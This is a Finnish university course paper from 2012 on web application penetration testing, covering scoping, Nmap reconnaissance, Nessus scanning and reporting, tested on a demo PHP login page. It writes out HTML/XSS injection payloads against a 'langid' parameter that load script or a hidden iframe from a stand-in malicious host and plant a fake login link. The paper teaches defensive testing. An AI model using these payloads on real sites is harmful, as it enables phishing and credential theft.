TTY / Tietoturvallisuuden jatkokurssi / Harjoitustyö 2012

Ville Törhönen

Web-sovellusten penetraatiotestaus

Johdanto

Useimmat Internetin käyttäjät olettavat web-sovellusten olevan turvallisia. Uusia sovelluksia tulee käyttäjien saataville jatkuvasti, eikä loppukäyttäjällä ole vaikutusvaltaa siihen, miten tietoturvallisuus on otettu sovelluksen toteutuksessa huomioon. Tämänkaltainen tilanne jättää sovelluksen kehittäjälle suuren vastuun, eikä tietoturvaa ole yleensä otettu sovellusta kehittäessä juurikaan huomioon. Hyvien tietoturvakäytäntöjen laiminlyönti mahdollistaa tietoturva-aukkoja, joita voidaan hyödyntää erilaisissa tietoturvahyökkäyksissä. Nämä tietoturva-aukot voidaan useimmiten löytää automaattisilla ja helppokäyttöisillä skannausohjelmilla. Penetraatiotestaus (engl. penetration testing) on keino, jolla nämä tietoturva-aukot voidaan löytää ennen paha-aikeista tahoa.

Penetraatiotestaus yleisesti

Yleisellä tasolla penetraatiotestaus tarkoittaa minkä tahansa järjestelmän tai tietoverkon testaamista siten, että testauksen kohteesta yritetään etsiä sen heikkoudet. Näillä heikkouksilla pyritään osoittamaan ne mahdolliset hyökkäysvektorit, joilla oikea tietoturvahyökkäys voitaisiin suorittaa. Oleellista testauksen suorittamisessa on reunaehtojen määritteleminen, eli milloin ja minkälaisilla lähtötiedoilla penetraatiotestaus suoritetaan sekä voidaanko löydettyjä heikkouksia hyödyntää. [1] Testauksen kohdetta voidaan käsitellä kolmella eri tavalla, mitkä myös määrittelevät minkälainen hyökkääjä on simulaatiossa kyseessä:

  • Musta laatikko (engl. black box). Tällöin järjestelmästä, verkosta tai sovelluksesta ei anneta ennen testausta minkäänlaisia lähtötietoja. Testauksen kohde voisi olla esimerkiksi julkinen verkkopalvelu ja hyökkääjä on täysin ulkopuolinen henkilö.
  • Harmaa laatikko (engl. gray box). Testauksen kohteesta on jonkinlaiset lähtötiedot. Tällöin kohde on hyökkääjälle jo jossain määrin tuttu.
  • Valkoinen laatikko (engl. white box). Ympäristö on kaikkine spesifikaatioineen sekä lähdekoodeineen ennen testausta selvillä. Hyökkääjän on tällöin oltava esimerkiksi järjestelmän suunnittelija.

Kun reunaehdot ovat määritelty niin testaus voidaan aloittaa. Yleensä testaukseen liittyy automatisoidun skannauksen lisäksi myös manuaalinen penetraatiotestaus, jonka suorittaa penetraatiotestaaja. Sen yksityiskohdat jätetään kuitenkin tämän työn ulkopuolelle.

Testauksen suorittaminen

Penetraatiotestaus voidaan jakaa kolmeen eri vaiheeseen, joista jokaiseen liittyy useita työkaluja, jotka automatisoivat tai helpottavat testausta. [2] Tässä työssä perehdytään vain web-sovelluksen penetraatiotestaukseen niin sanotun mustan laatikon tapauksessa. Testauksessa esimerkkikohteena käytetään yksinkertaista PHP-sovellusta, johon sisältyy sisäänkirjautumissivun lisäksi yksinkertainen sisältösivu, joka näkyy vain sisäänkirjautuneille käyttäjille. Sovellus on tehty esimerkkikäyttöön tätä työtä varten ja se on ajossa Apache-palvelinohjelmistossa Linux-käyttöjärjestelmän päällä.

Tiedon kerääminen

Testaus aloitetaan tiedonkeruulla, jolloin pyritään saamaan käsitys siitä, minkälaisessa ympäristössä sovellusta ajetaan. [3] Tällöin pyritään selvittämään muun muassa mikä WWW-palvelinohjelmisto kohteessa on käytössä, mitä TCP/IP-portteja ja minkälaisessa käyttöjärjestelmässä. Tämänkaltaiseen tiedonkeruuseen soveltuva työkalu on esimerkiksi Nmap. [4] Palvelinohjelmisto tunnistetaan HTTP-pyyntöjen vastauksista, joiden otsikkotiedoista löytyvä Server -kenttä kertoo useimmiten mikä palvelinohjelmisto versiotietoineen on käytössä. Mikäli Server -kenttää ei ole vastauspaketeissa, kohteen palvelinohjelmisto voidaan päätellä esimerkiksi HTTP-vastauksen otsikkotiedon kenttien järjestyksestä. Käyttöjärjestelmä voidaan selvittää TCP/IP-paketeista erilaisin menetelmin. [5] Nmapin tuloste esimerkkitapauksen kohdalla näyttää seuraavanlaiselta:

$ nmap -A 127.0.0.1
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:kernel:2.6 cpe:/o:linux:kernel:3
OS details: Linux 2.6.32 - 3.2
Network Distance: 0 hops

Itse sovelluksesta voidaan kerätä erilaisia tietoja, kuten versionumeroita tai käyttäjätunnuksia selaamalla sovelluksen tarjoamia WWW-sivuja. Sovellus saattaa esimerkiksi lisätä jokaisen sivun alatunnisteeseen oman tunnisteen tai lisätä sivuston metadataan sovelluksen tiedot versionumeroineen. Yleisimmät web-sovellukset, kuten sisällönhallintajärjestelmät (Drupal, Joomla!, Wordpress), voidaan tunnistaa palvelun muotoilemien URL:ien mukaan. Esimerkkinä mainituille sisällönhallintajärjestelmille on myös suunniteltu omia tiedonkeruuseen käytettäviä skannausohjelmia, joita voidaan käyttää myös haavoittuvuuksien etsimiseen seuraavassa vaiheessa. Tällaisia ohjelmia ovat esimerkiksi:

Joissakin tapauksissa taas sovelluksen versiotiedot voidaan käydä lukemassa suoraan sille varatulta sivulta (esimerkiksi http://esimerkki.fi/version.php). Tieto käytettävästä sovelluksesta helpottaa penetraatiotestauksessa kohdistamaan testauksen juuri kyseistä sovellusta ja mahdollisesti vielä tiettyä versiota kohtaan. Automatisoidut skannausohjelmat voidaan tällöin asettaa käyttämään yleisesti tunnettuja ja juuri kyseisestä sovellusversiosta löytyviä tietoturva-aukkoja.

Haavoittuvuuksien etsiminen ja analysointi

Tiedonkeruun jälkeen web-sovelluksesta voidaan aloittaa tietoturvahaavoittuvuuksien etsiminen käyttäen apuna edellisessä kohdassa kerättyjä tietoja. Haavoittuvuuksia tulee ensimmäiseksi etsiä automaattisella skannausohjelmalla, joka käy halutun määrän www-sivuja läpi ja pyrkii omilla sivupyynnöillään sekä syötteillä löytämään yleisimpiä tietoturvahaavoittuvuuksia. OWASP-projektin (lyh. The Open Web Application Security Project) luettelemista kymmenestä yleisimmästä tietoturvahaavoittuvuustyypistä useimmat, kuten esimerkiksi erilaiset injektiot sekä XSS-haavoittuvuudet ovat helposti käsiteltävissä skannausohjelmassa. [6] Yleisimpiä skannausohjelmia, jotka soveltuvat mille web-sovellukselle tahansa, [7] ovat muun muassa seuraavat:

Skannausohjelmiin määritellään aluksi skannattavan web-sovelluksen www-osoite. Kattavaa penetraatiotestausta suorittaessa sovelluksesta yritetään etsiä kaikkia mahdollisia haavoittuvuuksia, mutta ohjelmasta riippuen tämän jälkeen voidaan määritellä minkälaisia haavoittuvuuksia palvelusta yritetään etsiä. Samalla skannausohjelmalla voidaan myös skannata web-sovelluksesta vastaava WWW-palvelinohjelmisto ja tarkastella löytyykö siitä haavoittuvuuksia.

Haavoittuvuuksien hyödyntäminen

Skannausohjelma antaa skannauksen loputtua raportin, jossa kerrotaan mitä haavoittuvuuksia löydettiin ja miten. Näistä jälkimmäinen on tärkeä tieto sen kannalta, miten löydetty haavoittuvuus voitaisiin korjata. Vikaa korjattaessa saattaa löytyä vielä uusia haavoittuvuuksia, joita skannausohjelma ei omissa testeissään saanut selville. Jokainen löydetty haavoittuvuus täytyy olla toistettavissa ja ne täytyykin käydä yksi kerrallaan läpi. Skannausohjelmissakin on puutteita ja silloin tällöin voi syntyä vääriä hälytyksiä (engl. false positive). [8]

Esimerkkisovellusta skannattaessa Nessus löysi sisäänkirjautumissivulta haavoittuvuuden, joka mahdollistaa HTML-injektion:

+ The following resources may be vulnerable to HTML injection :
+ The 'langID' parameter of the /login.php CGI :
/login.php?langid=<aysjhs%20>
-------- output --------
<form action="check.php" name="login_form" method="post">
<input type="hidden" name="langid" value="<aysjhs >"/>
------------------------

Skannusohjelma siis löysi sivulta lomakkeen, jota tässä tapauksessa käytetään sisäänkirjautumiseen. Tämän jälkeen kyseisen lomakkeen kautta lähetettiin useita erilaisia pyyntöjä, ja katsottiin miten syöte vaikutti sivuun, joka palautettiin vastauksena. Tässä tapauksessa *langid*-parametri on haavoittuvainen ja sille annettua parametria ei siistitä erikoismerkeistä, vaan sen arvo upotetaan suoraan paluusivulle. Tämän tiedon pohjalta voidaan kokeilla sivupyyntöä seuraavanlaisesti:

  • GET /login.php?langid="><a href="http://malicious.example.org">Login page has moved. Login here instead.</a>

Tällöin palautetaan sivu, jossa kehotetaan kirjautumaan toiselle sivulle. Kun tämänkaltaisesta sivupyynnöstä tehdään esimerkiksi lyhytosoite ja levitetään sitä kohdesovelluksen oikeille käyttäjille, voidaan sitä käyttää esimerkiksi käyttäjätietojen keräämiseen. Olennainen osa tämänkaltaisen sivupyynnön suunnittelussa on HTML-määreiden sopivanlainen sulkeminen, jolloin sovellus lukee parametrin halutulla tavalla väärin. Esimerkkisovelluksen tapauksessa parametrin täytyy alkaa merkeillä ">, jolloin pelkästään sen ollessa parametrina haavoittuva osa sivusta näyttää tältä:

<form action="check.php" name="login_form" method="post">
<input type="hidden" name="langid" value="" />

Parametrissa merkkien "">* jälkeen voi siis olla mitä tahansa HTML-koodia. Selaimesta riippuen parametriksi voidaan antaa myös viittaus suoritettavaan Javascript-koodiin tai sivulle voidaan luoda viittaus ulkopuoliseen sivuun frame-määreellä. Tämänkaltaisia pyyntöjä voisivat olla esimerkiksi seuraavat:

  • GET /login.php?langid="><script src="http://malicious.example.org/exploit.js" type="text/javascript"></script>
  • GET /login.php?langid="><iframe src="http://malicious.example.org/exploit.html" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

Nykyselaimilla tämänkaltaiset pyynnöt jäävät kuitenkin helposti selaimen omaan XSS-suojaukseen kiinni eikä ladattua Javascriptiä tai iframe-sivua ladata. [9]

Testauksen raportointi

Kun testaus on suoritettu, sen pohjalta luodaan raportti, jossa kuvataan seuraavaa:

  • Käytetyt työkalut, joita penetraatiotestauksessa käytettiin
  • Miten testaus suoritettiin ja milloin
  • Mitä haavoittuvuuksia kohteesta löydettiin ja millä työkalulla
  • Miten löytyneitä haavoittuvuuksia voidaan hyödyntää
  • Miten haavoittuvuudet voidaan korjata, mikäli mahdollista

Testaus toimitetaan kohteesta vastuussa olevalle taholle, jonka tulisi käydä raportti läpi ja korjata kaikki havaitut ongelmat. Tämän jälkeen raportin pohjalta voidaan tehdä päätökset kohteen automaattisesta skannauksesta esimerkiksi edellämainituilla haavoittuvuusskannereilla. Automatisoidulla tietoturvaskannauksella hyvää tietoturvatasoa voidaan pitää yllä tietoturva-auditoinnin tavoin. Se on erityisen tärkeää, mikäli kohdesovellusta kehitetään ja siitä julkaistaan uusia versioita. [10]

Lähteet

SivuTiedotLaajennettu edit

Vaativuus Jatko
Valmius Valmis
Tyyppi Ydin
Luokitus Uhkat
Mitä Luottamuksellisuus
Miltä Tahallinen uhka
Missä Järjestelmä
Kuka Titu-ammattilainen
Milloin Päivittäin
Miksi Hyvä tapa
Print version |  PDF  | History: r16 < r15 < r14 < r13 | 
Topic revision: r16 - 29 Nov 2012 - 21:47:05 - VilleToerhoenen
 

TUTWiki

Copyright © by the contributing authors. All material on this collaboration platform is the property of the contributing authors.
Ideas, requests, problems regarding TUTWiki? Send feedback